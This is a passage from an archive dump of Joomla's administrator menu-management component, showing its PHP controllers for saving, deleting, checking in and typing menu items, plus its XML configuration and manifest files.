			$message = JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError());
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . '&view=' . $this->view_list
					. '&menutype=' . JFactory::getApplication()->getUserState('com_menus.items.menutype'),
					false
				),
				$message,
				'error'
			);

			return false;
		}
		else
		{
			// Checkin succeeded.
			$message = JText::plural($this->text_prefix . '_N_ITEMS_CHECKED_IN', count($cid));
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . '&view=' . $this->view_list
					. '&menutype=' . JFactory::getApplication()->getUserState('com_menus.items.menutype'),
					false
				),
				$message
			);

			return true;
		}
	}
}
com_menus/controllers/ajax.json.php000060400000004544152455305260013515 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\LanguageHelper;

/**
 * The menu controller for ajax requests
 *
 * @since  3.9.0
 */
class MenusControllerAjax extends JControllerLegacy
{
	/**
	 * Method to fetch associations of a menu item
	 *
	 * The method assumes that the following http parameters are passed in an Ajax Get request:
	 * token: the form token
	 * assocId: the id of the menu item whose associations are to be returned
	 * excludeLang: the association for this language is to be excluded
	 *
	 * @return  null
	 *
	 * @since  3.9.0
	 */
	public function fetchAssociations()
	{
		if (!JSession::checkToken('get'))
		{
			echo new JResponseJson(null, JText::_('JINVALID_TOKEN'), true);
		}
		else
		{
			$input     = JFactory::getApplication()->input;
			$extension = $input->get('extension');

			$assocId   = $input->getInt('assocId', 0);

			if ($assocId == 0)
			{
				echo new JResponseJson(null, JText::sprintf('JLIB_FORM_VALIDATE_FIELD_INVALID', 'assocId'), true);

				return;
			}

			$excludeLang = $input->get('excludeLang', '', 'STRING');

			$associations = JLanguageAssociations::getAssociations('com_menus', '#__menu', 'com_menus.item', (int) $assocId, 'id', '', '');

			unset($associations[$excludeLang]);

			// Add the title to each of the associated records
			JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_menus/tables');
			$menuTable = JTable::getInstance('Menu', 'JTable', array());

			foreach ($associations as $lang => $association)
			{
				$menuTable->load($association->id);
				$associations[$lang]->title = $menuTable->title;
			}

			$countContentLanguages = count(LanguageHelper::getContentLanguages(array(0, 1)));

			if (count($associations) == 0)
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_NONE');
			}
			elseif ($countContentLanguages > count($associations) + 2)
			{
				$tags    = implode(', ', array_keys($associations));
				$message = JText::sprintf('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_SOME', $tags);
			}
			else
			{
				$message = JText::_('JGLOBAL_ASSOCIATIONS_PROPAGATE_MESSAGE_ALL');
			}

			echo new JResponseJson($associations, $message);
		}
	}
}
com_menus/controllers/menu.php000060400000014413152455305260012562 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Menu Type Controller
 *
 * @since  1.6
 */
class MenusControllerMenu extends JControllerForm
{
	/**
	 * Dummy method to redirect back to standard controller
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController		This object to support chaining.
	 *
	 * @since   1.5
	 */
	public function display($cachable = false, $urlparams = false)
	{
		$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false));
	}

	/**
	 * Method to save a menu item.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   1.6
	 */
	public function save($key = null, $urlVar = null)
	{
		// Check for request forgeries.
		$this->checkToken();

		$app      = JFactory::getApplication();
		$data     = $this->input->post->get('jform', array(), 'array');
		$context  = 'com_menus.edit.menu';
		$task     = $this->getTask();
		$recordId = $this->input->getInt('id');

		// Prevent using 'main' as menutype as this is reserved for backend menus
		if (strtolower($data['menutype']) == 'main')
		{
			$msg = JText::_('COM_MENUS_ERROR_MENUTYPE');
			JFactory::getApplication()->enqueueMessage($msg, 'error');

			// Redirect back to the edit screen.
			$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit' . $this->getRedirectToItemAppend($recordId), false));

			return false;
		}

		// Populate the row id from the session.
		$data['id'] = $recordId;

		// Get the model and attempt to validate the posted data.
		$model = $this->getModel('Menu');
		$form  = $model->getForm();

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		$validData = $model->validate($form, $data);

		// Check for validation errors.
		if ($validData === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Save the data in the session.
			$app->setUserState($context . '.data', $data);

			// Redirect back to the edit screen.
			$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit' . $this->getRedirectToItemAppend($recordId), false));

			return false;
		}

		if (isset($validData['preset']))
		{
			$preset = trim($validData['preset']) ?: null;

			unset($validData['preset']);
		}

		// Attempt to save the data.
		if (!$model->save($validData))
		{
			// Save the data in the session.
			$app->setUserState($context . '.data', $validData);

			// Redirect back to the edit screen.
			$this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'error');
			$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit' . $this->getRedirectToItemAppend($recordId), false));

			return false;
		}

		// Import the preset selected
		if (isset($preset) && $data['client_id'] == 1)
		{
			try
			{
				MenusHelper::installPreset($preset, $data['menutype']);

				$this->setMessage(JText::_('COM_MENUS_PRESET_IMPORT_SUCCESS'));
			}
			catch (Exception $e)
			{
				// Save was successful but the preset could not be loaded. Let it through with just a warning
				$this->setMessage(JText::sprintf('COM_MENUS_PRESET_IMPORT_FAILED', $e->getMessage()));
			}
		}
		else
		{
			$this->setMessage(JText::_('COM_MENUS_MENU_SAVE_SUCCESS'));
		}

		// Redirect the user and adjust session state based on the chosen task.
		switch ($task)
		{
			case 'apply':
				// Set the record data in the session.
				$recordId = $model->getState($this->context . '.id');
				$this->holdEditId($context, $recordId);
				$app->setUserState($context . '.data', null);

				// Redirect back to the edit screen.
				$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit' . $this->getRedirectToItemAppend($recordId), false));
				break;

			case 'save2new':
				// Clear the record id and data from the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState($context . '.data', null);

				// Redirect back to the edit screen.
				$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&layout=edit', false));
				break;

			default:
				// Clear the record id and data from the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState($context . '.data', null);

				// Redirect to the list screen.
				$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false));
				break;
		}
	}

	/**
	 * Method to display a menu as preset xml.
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   3.8.0
	 */
	public function exportXml()
	{
		// Check for request forgeries.
		$this->checkToken();

		$cid = (array) $this->input->get('cid', array(), 'int');

		// We know the first element is the one we need because we don't allow multi selection of rows
		$id = empty($cid) ? 0 : reset($cid);

		if ($id === 0)
		{
			$this->setMessage(JText::_('COM_MENUS_SELECT_MENU_FIRST_EXPORT'), 'warning');

			$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false));

			return false;
		}

		$model = $this->getModel('Menu');
		$item  = $model->getItem($id);

		if (!$item->menutype)
		{
			$this->setMessage(JText::_('COM_MENUS_SELECT_MENU_FIRST_EXPORT'), 'warning');

			$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menus', false));

			return false;
		}

		$this->setRedirect(JRoute::_('index.php?option=com_menus&view=menu&menutype=' . $item->menutype . '&format=xml', false));

		return true;
	}
}
com_menus/controllers/menus.php000060400000011710152455305260012742 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Menu List Controller
 *
 * @since  1.6
 */
class MenusControllerMenus extends JControllerLegacy
{
	/**
	 * Display the view
	 *
	 * @param   boolean  $cachable   If true, the view output will be cached.
	 * @param   array    $urlparams  An array of safe URL parameters and their variable types, for valid values see {@link JFilterInput::clean()}.
	 *
	 * @return  JController        This object to support chaining.
	 *
	 * @since   1.6
	 */
	public function display($cachable = false, $urlparams = false)
	{
	}

	/**
	 * Method to get a model object, loading it if required.
	 *
	 * @param   string  $name    The model name. Optional.
	 * @param   string  $prefix  The class prefix. Optional.
	 * @param   array   $config  Configuration array for model. Optional.
	 *
	 * @return  object  The model.
	 *
	 * @since   1.6
	 */
	public function getModel($name = 'Menu', $prefix = 'MenusModel', $config = array('ignore_request' => true))
	{
		return parent::getModel($name, $prefix, $config);
	}

	/**
	 * Remove an item.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function delete()
	{
		// Check for request forgeries
		$this->checkToken();

		$user = JFactory::getUser();
		$app  = JFactory::getApplication();
		$cids = (array) $this->input->get('cid', array(), 'int');

		// Remove zero values resulting from input filter
		$cids = array_filter($cids);

		if (empty($cids))
		{
			$app->enqueueMessage(JText::_('COM_MENUS_NO_MENUS_SELECTED'), 'notice');
		}
		else
		{
			// Access checks.
			foreach ($cids as $i => $id)
			{
				if (!$user->authorise('core.delete', 'com_menus.menu.' . (int) $id))
				{
					// Prune items that you can't change.
					unset($cids[$i]);
					$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_DELETE_NOT_PERMITTED'), 'error');
				}
			}

			if (count($cids) > 0)
			{
				// Get the model.
				$model = $this->getModel();

				// Remove the items.
				if (!$model->delete($cids))
				{
					$this->setMessage($model->getError(), 'error');
				}
				else
				{
					$this->setMessage(JText::plural('COM_MENUS_N_MENUS_DELETED', count($cids)));
				}
			}
		}

		$this->setRedirect('index.php?option=com_menus&view=menus');
	}

	/**
	 * Rebuild the menu tree.
	 *
	 * @return  boolean  False on failure or error, true on success.
	 *
	 * @since   1.6
	 */
	public function rebuild()
	{
		$this->checkToken();

		$this->setRedirect('index.php?option=com_menus&view=menus');

		$model = $this->getModel('Item');

		if ($model->rebuild())
		{
			// Reorder succeeded.
			$this->setMessage(JText::_('JTOOLBAR_REBUILD_SUCCESS'));

			return true;
		}
		else
		{
			// Rebuild failed.
			$this->setMessage(JText::sprintf('JTOOLBAR_REBUILD_FAILED', $model->getError()), 'error');

			return false;
		}
	}

	/**
	 * Temporary method. This should go into the 1.5 to 1.6 upgrade routines.
	 *
	 * @return  JException|void  JException instance on error
	 *
	 * @since   1.6
	 */
	public function resync()
	{
		$db = JFactory::getDbo();
		$query = $db->getQuery(true);
		$parts = null;

		try
		{
			$query->select('element, extension_id')
				->from('#__extensions')
				->where('type = ' . $db->quote('component'));
			$db->setQuery($query);

			$components = $db->loadAssocList('element', 'extension_id');
		}
		catch (RuntimeException $e)
		{
			return JError::raiseWarning(500, $e->getMessage());
		}

		// Load all the component menu links
		$query->select($db->quoteName('id'))
			->select($db->quoteName('link'))
			->select($db->quoteName('component_id'))
			->from('#__menu')
			->where($db->quoteName('type') . ' = ' . $db->quote('component.item'));
			$db->setQuery($query);

		try
		{
			$items = $db->loadObjectList();
		}
		catch (RuntimeException $e)
		{
			return JError::raiseWarning(500, $e->getMessage());
		}

		foreach ($items as $item)
		{
			// Parse the link.
			parse_str(parse_url($item->link, PHP_URL_QUERY), $parts);

			// Tease out the option.
			if (isset($parts['option']))
			{
				$option = $parts['option'];

				// Lookup the component ID
				if (isset($components[$option]))
				{
					$componentId = $components[$option];
				}
				else
				{
					// Mismatch. Needs human intervention.
					$componentId = -1;
				}

				// Check for mis-matched component id's in the menu link.
				if ($item->component_id != $componentId)
				{
					// Update the menu table.
					$log = "Link $item->id refers to $item->component_id, converting to $componentId ($item->link)";
					echo "<br />$log";

					$query->clear();
					$query->update('#__menu')
						->set('component_id = ' . $componentId)
						->where('id = ' . $item->id);

					try
					{
						$db->setQuery($query)->execute();
					}
					catch (RuntimeException $e)
					{
						return JError::raiseWarning(500, $e->getMessage());
					}
				}
			}
		}
	}
}
com_menus/controllers/item.php000060400000037657152455305260012573 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_menus
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * The Menu Item Controller
 *
 * @since  1.6
 */
class MenusControllerItem extends JControllerForm
{
	/**
	 * Method to check if you can add a new record.
	 *
	 * Extended classes can override this if necessary.
	 *
	 * @param   array  $data  An array of input data.
	 *
	 * @return  boolean
	 *
	 * @since   3.6
	 */
	protected function allowAdd($data = array())
	{
		$user = JFactory::getUser();

		$menuType = JFactory::getApplication()->input->getCmd('menutype', isset($data['menutype']) ? $data['menutype'] : '');

		$menutypeID = 0;

		// Load menutype ID
		if ($menuType)
		{
			$menutypeID = (int) $this->getMenuTypeId($menuType);
		}

		return $user->authorise('core.create', 'com_menus.menu.' . $menutypeID);
	}

	/**
	 * Method to check if you edit a record.
	 *
	 * Extended classes can override this if necessary.
	 *
	 * @param   array   $data  An array of input data.
	 * @param   string  $key   The name of the key for the primary key; default is id.
	 *
	 * @return  boolean
	 *
	 * @since   3.6
	 */
	protected function allowEdit($data = array(), $key = 'id')
	{
		$user = JFactory::getUser();

		$menutypeID = 0;

		if (isset($data[$key]))
		{
			$model = $this->getModel();
			$item = $model->getItem($data[$key]);

			if (!empty($item->menutype))
			{
				// Protected menutype, do not allow edit
				if ($item->menutype == 'main')
				{
					return false;
				}

				$menutypeID = (int) $this->getMenuTypeId($item->menutype);
			}
		}

		return $user->authorise('core.edit', 'com_menus.menu.' . (int) $menutypeID);
	}

	/**
	 * Loads the menutype ID by a given menutype string
	 *
	 * @param   string  $menutype  The given menutype
	 *
	 * @return integer
	 *
	 * @since  3.6
	 */
	protected function getMenuTypeId($menutype)
	{
		$model = $this->getModel();
		$table = $model->getTable('MenuType', 'JTable');

		$table->load(array('menutype' => $menutype));

		return (int) $table->id;
	}

	/**
	 * Method to add a new menu item.
	 *
	 * @return  mixed  True if the record can be added, a JError object if not.
	 *
	 * @since   1.6
	 */
	public function add()
	{
		$app = JFactory::getApplication();
		$context = 'com_menus.edit.item';

		$result = parent::add();

		if ($result)
		{
			$app->setUserState($context . '.type', null);
			$app->setUserState($context . '.link', null);
		}

		return $result;
	}

	/**
	 * Method to run batch operations.
	 *
	 * @param   object  $model  The model.
	 *
	 * @return  boolean	 True if successful, false otherwise and internal error is set.
	 *
	 * @since   1.6
	 */
	public function batch($model = null)
	{
		$this->checkToken();

		$model = $this->getModel('Item', '', array());

		// Preset the redirect
		$this->setRedirect(JRoute::_('index.php?option=com_menus&view=items' . $this->getRedirectToListAppend(), false));

		return parent::batch($model);
	}

	/**
	 * Method to cancel an edit.
	 *
	 * @param   string  $key  The name of the primary key of the URL variable.
	 *
	 * @return  boolean  True if access level checks pass, false otherwise.
	 *
	 * @since   1.6
	 */
	public function cancel($key = null)
	{
		$this->checkToken();

		$app = JFactory::getApplication();
		$context = 'com_menus.edit.item';
		$result = parent::cancel();

		if ($result)
		{
			// Clear the ancillary data from the session.
			$app->setUserState($context . '.type', null);
			$app->setUserState($context . '.link', null);

			// Redirect to the list screen.
			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend()
					. '&menutype=' . $app->getUserState('com_menus.items.menutype'), false
				)
			);
		}

		return $result;
	}

	/**
	 * Method to edit an existing record.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key
	 * (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if access level check and checkout passes, false otherwise.
	 *
	 * @since   1.6
	 */
	public function edit($key = null, $urlVar = null)
	{
		$app = JFactory::getApplication();
		$result = parent::edit();

		if ($result)
		{
			// Push the new ancillary data into the session.
			$app->setUserState('com_menus.edit.item.type', null);
			$app->setUserState('com_menus.edit.item.link', null);
		}

		return $result;
	}

	/**
	 * Gets the URL arguments to append to an item redirect.
	 *
	 * @param   integer  $recordId  The primary key id for the item.
	 * @param   string   $urlVar    The name of the URL variable for the id.
	 *
	 * @return  string  The arguments to append to the redirect URL.
	 *
	 * @since   3.0.1
	 */
	protected function getRedirectToItemAppend($recordId = null, $urlVar = 'id')
	{
		$append = parent::getRedirectToItemAppend($recordId, $urlVar);

		if ($recordId)
		{
			$model    = $this->getModel();
			$item     = $model->getItem($recordId);
			$clientId = $item->client_id;
			$append   = '&client_id=' . $clientId . $append;
		}
		else
		{
			$app      = JFactory::getApplication();
			$clientId = $app->input->get('client_id', '0', 'int');
			$menuType = $app->input->get('menutype', 'mainmenu', 'cmd');
			$append   = '&client_id=' . $clientId . ($menuType ? '&menutype=' . $menuType : '') . $append;
		}

		return $append;
	}

	/**
	 * Method to save a record.
	 *
	 * @param   string  $key     The name of the primary key of the URL variable.
	 * @param   string  $urlVar  The name of the URL variable if different from the primary key (sometimes required to avoid router collisions).
	 *
	 * @return  boolean  True if successful, false otherwise.
	 *
	 * @since   1.6
	 */
	public function save($key = null, $urlVar = null)
	{
		// Check for request forgeries.
		$this->checkToken();

		$app      = JFactory::getApplication();
		$model    = $this->getModel('Item', '', array());
		$table    = $model->getTable();
		$data     = $this->input->post->get('jform', array(), 'array');
		$task     = $this->getTask();
		$context  = 'com_menus.edit.item';

		// Set the menutype should we need it.
		if ($data['menutype'] !== '')
		{
			$app->input->set('menutype', $data['menutype']);
		}

		// Determine the name of the primary key for the data.
		if (empty($key))
		{
			$key = $table->getKeyName();
		}

		// To avoid data collisions the urlVar may be different from the primary key.
		if (empty($urlVar))
		{
			$urlVar = $key;
		}

		$recordId = $this->input->getInt($urlVar);

		// Populate the row id from the session.
		$data[$key] = $recordId;

		// The save2copy task needs to be handled slightly differently.
		if ($task == 'save2copy')
		{
			// Check-in the original row.
			if ($model->checkin($data['id']) === false)
			{
				// Check-in failed, go back to the item and display a notice.
				$this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning');

				return false;
			}

			// Reset the ID and then treat the request as for Apply.
			$data['id'] = 0;
			$data['associations'] = array();
			$task = 'apply';
		}

		// Access check.
		if (!$this->allowSave($data, $key))
		{
			$this->setError(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'));
			$this->setMessage($this->getError(), 'error');

			$this->setRedirect(
				JRoute::_(
					'index.php?option=' . $this->option . '&view=' . $this->view_list
					. $this->getRedirectToListAppend(), false
				)
			);

			return false;
		}

		// Validate the posted data.
		// This post is made up of two forms, one for the item and one for params.
		$form = $model->getForm($data);

		if (!$form)
		{
			JError::raiseError(500, $model->getError());

			return false;
		}

		if ($data['type'] == 'url')
		{
			$data['link'] = str_replace(array('"', '>', '<'), '', $data['link']);

			if (strstr($data['link'], ':'))
			{
				$segments = explode(':', $data['link']);
				$protocol = strtolower($segments[0]);
				$scheme   = array(
					'http', 'https', 'ftp', 'ftps', 'gopher', 'mailto',
					'news', 'prospero', 'telnet', 'rlogin', 'tn3270', 'wais',
					'mid', 'cid', 'nntp', 'tel', 'urn', 'ldap', 'file', 'fax',
					'modem', 'git', 'sms',
				);

				if (!in_array($protocol, $scheme))
				{
					$app->enqueueMessage(JText::_('JLIB_APPLICATION_ERROR_SAVE_NOT_PERMITTED'), 'warning');
					$this->setRedirect(
						JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false)
					);

					return false;
				}
			}
		}

		$data = $model->validate($form, $data);

		// Preprocess request fields to ensure that we remove not set or empty request params
		$request = $form->getGroup('request', true);

		// Check for the special 'request' entry.
		if ($data['type'] == 'component' && !empty($request))
		{
			$removeArgs = array();

			if (!isset($data['request']) || !is_array($data['request']))
			{
				$data['request'] = array();
			}

			foreach ($request as $field)
			{
				$fieldName = $field->getAttribute('name');

				if (!isset($data['request'][$fieldName]) || $data['request'][$fieldName] == '')
				{
					$removeArgs[$fieldName] = '';
				}
			}

			// Parse the submitted link arguments.
			$args = array();
			parse_str(parse_url($data['link'], PHP_URL_QUERY), $args);

			// Merge in the user supplied request arguments.
			$args = array_merge($args, $data['request']);

			// Remove the unused request params
			if (!empty($args) && !empty($removeArgs))
			{
				$args = array_diff_key($args, $removeArgs);
			}

			$data['link'] = 'index.php?' . urldecode(http_build_query($args, '', '&'));
			unset($data['request']);
		}

		// Check for validation errors.
		if ($data === false)
		{
			// Get the validation messages.
			$errors = $model->getErrors();

			// Push up to three validation messages out to the user.
			for ($i = 0, $n = count($errors); $i < $n && $i < 3; $i++)
			{
				if ($errors[$i] instanceof Exception)
				{
					$app->enqueueMessage($errors[$i]->getMessage(), 'warning');
				}
				else
				{
					$app->enqueueMessage($errors[$i], 'warning');
				}
			}

			// Save the data in the session.
			$app->setUserState('com_menus.edit.item.data', $data);

			// Redirect back to the edit screen.
			$editUrl = 'index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId);
			$this->setRedirect(JRoute::_($editUrl, false));

			return false;
		}

		// Attempt to save the data.
		if (!$model->save($data))
		{
			// Save the data in the session.
			$app->setUserState('com_menus.edit.item.data', $data);

			// Redirect back to the edit screen.
			$editUrl = 'index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId);
			$this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_SAVE_FAILED', $model->getError()), 'error');
			$this->setRedirect(JRoute::_($editUrl, false));

			return false;
		}

		// Save succeeded, check-in the row.
		if ($model->checkin($data['id']) === false)
		{
			// Check-in failed, go back to the row and display a notice.
			$this->setMessage(JText::sprintf('JLIB_APPLICATION_ERROR_CHECKIN_FAILED', $model->getError()), 'warning');
			$redirectUrl = 'index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId);
			$this->setRedirect(JRoute::_($redirectUrl, false));

			return false;
		}

		$this->setMessage(JText::_('COM_MENUS_SAVE_SUCCESS'));

		// Redirect the user and adjust session state based on the chosen task.
		switch ($task)
		{
			case 'apply':
				// Set the row data in the session.
				$recordId = $model->getState($this->context . '.id');
				$this->holdEditId($context, $recordId);
				$app->setUserState('com_menus.edit.item.data', null);
				$app->setUserState('com_menus.edit.item.type', null);
				$app->setUserState('com_menus.edit.item.link', null);

				// Redirect back to the edit screen.
				$editUrl = 'index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId);
				$this->setRedirect(JRoute::_($editUrl, false));
				break;

			case 'save2new':
				// Clear the row id and data in the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState('com_menus.edit.item.data', null);
				$app->setUserState('com_menus.edit.item.type', null);
				$app->setUserState('com_menus.edit.item.link', null);

				// Redirect back to the edit screen.
				$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend(), false));
				break;

			default:
				// Clear the row id and data in the session.
				$this->releaseEditId($context, $recordId);
				$app->setUserState('com_menus.edit.item.data', null);
				$app->setUserState('com_menus.edit.item.type', null);
				$app->setUserState('com_menus.edit.item.link', null);

				// Redirect to the list screen.
				$this->setRedirect(
					JRoute::_(
						'index.php?option=' . $this->option . '&view=' . $this->view_list . $this->getRedirectToListAppend()
						. '&menutype=' . $app->getUserState('com_menus.items.menutype'), false
					)
				);
				break;
		}

		return true;
	}

	/**
	 * Sets the type of the menu item currently being edited.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	public function setType()
	{
		$this->checkToken();

		$app = JFactory::getApplication();

		// Get the posted values from the request.
		$data = $this->input->post->get('jform', array(), 'array');

		// Get the type.
		$type = $data['type'];

		$type = json_decode(base64_decode($type));
		$title = isset($type->title) ? $type->title : null;
		$recordId = isset($type->id) ? $type->id : 0;

		$specialTypes = array('alias', 'separator', 'url', 'heading', 'container');

		if (!in_array($title, $specialTypes))
		{
			$title = 'component';
		}
		else
		{
			// Set correct component id to ensure proper 404 messages with system links
			$data['component_id'] = 0;
		}

		$app->setUserState('com_menus.edit.item.type', $title);

		if ($title == 'component')
		{
			if (isset($type->request))
			{
				// Clean component name
				$type->request->option = JFilterInput::getInstance()->clean($type->request->option, 'CMD');

				$component = JComponentHelper::getComponent($type->request->option);
				$data['component_id'] = $component->id;

				$app->setUserState('com_menus.edit.item.link', 'index.php?' . JUri::buildQuery((array) $type->request));
			}
		}
		// If the type is alias you just need the item id from the menu item referenced.
		elseif ($title == 'alias')
		{
			$app->setUserState('com_menus.edit.item.link', 'index.php?Itemid=');
		}

		unset($data['request']);

		$data['type'] = $title;

		if ($this->input->get('fieldtype') == 'type')
		{
			$data['link'] = $app->getUserState('com_menus.edit.item.link');
		}

		// Save the data in the session.
		$app->setUserState('com_menus.edit.item.data', $data);

		$this->type = $type;
		$this->setRedirect(JRoute::_('index.php?option=' . $this->option . '&view=' . $this->view_item . $this->getRedirectToItemAppend($recordId), false));
	}

	/**
	 * Gets the parent items of the menu location currently.
	 *
	 * @return  void
	 *
	 * @since   3.2
	 */
	public function getParentItem()
	{
		$app = JFactory::getApplication();

		$results  = array();
		$menutype = $this->input->get->get('menutype');

		if ($menutype)
		{
			$model = $this->getModel('Items', '', array());
			$model->getState();
			$model->setState('filter.menutype', $menutype);
			$model->setState('list.select', 'a.id, a.title, a.level');
			$model->setState('list.start', '0');
			$model->setState('list.limit', '0');

			/** @var  MenusModelItems  $model */
			$results = $model->getItems();

			// Pad the option text with spaces using depth level as a multiplier.
			for ($i = 0, $n = count($results); $i < $n; $i++)
			{
				$results[$i]->title = str_repeat(' - ', $results[$i]->level) . $results[$i]->title;
			}
		}

		// Output a JSON object
		echo json_encode($results);

		$app->close();
	}
}
com_menus/config.xml000060400000002447152455305260010532 0ustar00<?xml version="1.0" encoding="utf-8"?>
<config>
	<fieldset
		name="page-options"
		label="COM_MENUS_PAGE_OPTIONS_LABEL"
		>

		<field
			name="page_title"
			type="text"
			label="COM_MENUS_ITEM_FIELD_PAGE_TITLE_LABEL"
			description="COM_MENUS_ITEM_FIELD_PAGE_TITLE_DESC"
			default=""
		/>

		<field
			name="show_page_heading"
			type="radio"
			label="COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_LABEL"
			description="COM_MENUS_ITEM_FIELD_SHOW_PAGE_HEADING_DESC"
			class="btn-group btn-group-yesno"
			default="0"
			filter="integer"
			>
			<option value="1">JYES</option>
			<option value="0">JNO</option>
		</field>

		<field
			name="page_heading"
			type="text"
			label="COM_MENUS_ITEM_FIELD_PAGE_HEADING_LABEL"
			description="COM_MENUS_ITEM_FIELD_PAGE_HEADING_DESC"
			default=""
			showon="show_page_heading:1"
		/>

		<field
			name="pageclass_sfx"
			type="text"
			label="COM_MENUS_ITEM_FIELD_PAGE_CLASS_LABEL"
			description="COM_MENUS_ITEM_FIELD_PAGE_CLASS_DESC"
			default=""
		/>

	</fieldset>

	<fieldset
		name="permissions"
		label="JCONFIG_PERMISSIONS_LABEL"
		description="JCONFIG_PERMISSIONS_DESC"
		>

		<field
			name="rules"
			type="rules"
			label="JCONFIG_PERMISSIONS_LABEL"
			filter="rules"
			validate="rules"
			component="com_menus"
			section="component"
		/>

	</fieldset>
</config>
com_menus/menus.xml000060400000001771152455305260010413 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="component" version="3.1" method="upgrade">
	<name>com_menus</name>
	<author>Joomla! Project</author>
	<creationDate>April 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>COM_MENUS_XML_DESCRIPTION</description>
	<administration>
		<files folder="admin">
			<filename>config.xml</filename>
			<filename>controller.php</filename>
			<filename>menus.php</filename>
			<folder>controllers</folder>
			<folder>helpers</folder>
			<folder>models</folder>
			<folder>views</folder>
			<folder>presets</folder>
		</files>
		<languages folder="admin">
			<language tag="en-GB">language/en-GB.com_menus.ini</language>
			<language tag="en-GB">language/en-GB.com_menus.sys.ini</language>
		</languages>
	</administration>
</extension>
com_menus/access.xml000060400000002510152455305260010515 0ustar00<?xml version="1.0" encoding="utf-8" ?>
<access component="com_menus">
	<section name="component">
		<action name="core.admin" title="JACTION_ADMIN" description="JACTION_ADMIN_COMPONENT_DESC" />
		<action name="core.options" title="JACTION_OPTIONS" description="JACTION_OPTIONS_COMPONENT_DESC" />
		<action name="core.manage" title="JACTION_MANAGE" description="JACTION_MANAGE_COMPONENT_DESC" />
		<action name="core.create" title="JACTION_CREATE" description="JACTION_CREATE_COMPONENT_DESC" />
		<action name="core.delete" title="JACTION_DELETE" description="JACTION_DELETE_COMPONENT_DESC" />
		<action name="core.edit" title="JACTION_EDIT" description="JACTION_EDIT_COMPONENT_DESC" />
		<action name="core.edit.state" title="JACTION_EDITSTATE" description="JACTION_EDITSTATE_COMPONENT_DESC" />
